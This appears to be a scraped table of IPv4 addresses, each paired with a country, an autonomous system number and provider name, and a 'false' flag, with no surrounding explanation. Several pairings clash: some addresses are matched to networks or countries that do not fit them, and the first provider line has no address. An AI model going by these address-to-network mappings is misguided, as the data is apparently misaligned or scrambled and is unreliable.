4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
121.204.27.175
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
159.150.20.88
 unknown United States
13809 UAMS-ASNUS false
163.246.181.245
 unknown United States
3512 EUSHCUS false
102.232.91.38
 unknown unknown
36926 CKL1-ASNKE false
158.6.96.184
 unknown United States
1535 DNIC-ASBLK-01534-01546US false
164.12.214.181
 unknown United Kingdom
50195 UMSI false
126.66.249.145
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
175.38.140.56
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
9.18.12.224
 unknown United States
3356 LEVEL3US false
16.122.132.235
 unknown United States
unknown unknown false
218.112.187.78
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
97.229.160.115
 unknown United States
6167 CELLCO-PARTUS false
26.163.188.107
 unknown United States
7922 COMCAST-7922US false
216.155.111.52
 unknown United States
30418 SUMT-CMHUS false
55.136.32.117
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
21.152.225.5
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
34.252.132.197
 unknown United States
16509 AMAZON-02US false
152.9.28.133
 unknown United States
81 NCRENUS false
102.39.5.161
 unknown South Africa
11845 Vox-TelecomZA false
197.238.32.97
 unknown unknown
37705 TOPNETTN false
135.50.184.245
 unknown United States
54614 CIKTELECOM-CABLECA false
139.84.237.184
 unknown United States
16498 LASALLEUS false
202.142.152.155
 unknown Pakistan
23750 GERRYS-AS-APGERRYSINFORMATIONTECHNOLOGYPVTLTDPK false
63.72.153.161
 unknown United States
701 UUNETUS false
7.102.4.232
 unknown United States
3356 LEVEL3US false
18.58.126.71
 unknown United States
3 MIT-GATEWAYSUS false
154.174.163.156
 unknown Ghana
30986 SCANCOMGH false
11.8.205.28
 unknown United States
3356 LEVEL3US false
157.12.75.195
 unknown Japan 24275 TOTOTOTOLTDJP false
148.34.185.37
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
173.191.39.221
 unknown United States
7029 WINDSTREAMUS false
123.25.28.243
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
44.85.104.194
 unknown United States
7377 UCSDUS false
8.111.230.109
 unknown United States
3356 LEVEL3US false
96.155.193.28
 unknown United States
7922 COMCAST-7922US false
134.253.73.61
 unknown United States
377 SNLA-NET-ASUS false
11.13.88.167
 unknown United States
3356 LEVEL3US false